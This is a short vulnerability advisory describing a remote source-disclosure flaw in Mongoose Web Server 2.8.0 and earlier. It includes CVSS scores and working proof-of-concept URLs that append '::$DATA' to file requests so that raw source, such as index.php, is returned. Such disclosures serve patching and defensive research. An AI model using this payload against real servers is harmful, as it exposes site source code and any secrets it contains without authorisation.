Mongoose Web Server 2.8.0 remote source disclosure

2009.10.18
Credit: Dr_IDE
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

####################################################### # # Mongoose Web Server <= 2.8.0 Remote Source Disclosure # Found By: Dr_IDE # Tested On: Windows XPSP3 # Download: http://code.google.com/p/mongoose/ # ####################################################### - Description - Mongoose Web Server <= 2.8.0 is a Windows based HTTP server. This is the latest version of the application available. Mongoose is vulnerable to remote arbitrary source code disclosure by the following means. - Technical Details - http://[ webserver IP][:port]/[ file ][::$DATA] http://172.16.2.101:8080/index.html::$DATA http://172.16.2.101:8080/index.php::$DATA [pocoftheday.blogspot.com]

References:

http://secunia.com/advisories/36934
http://packetstormsecurity.org/0910-exploits/mongoose-disclose.txt


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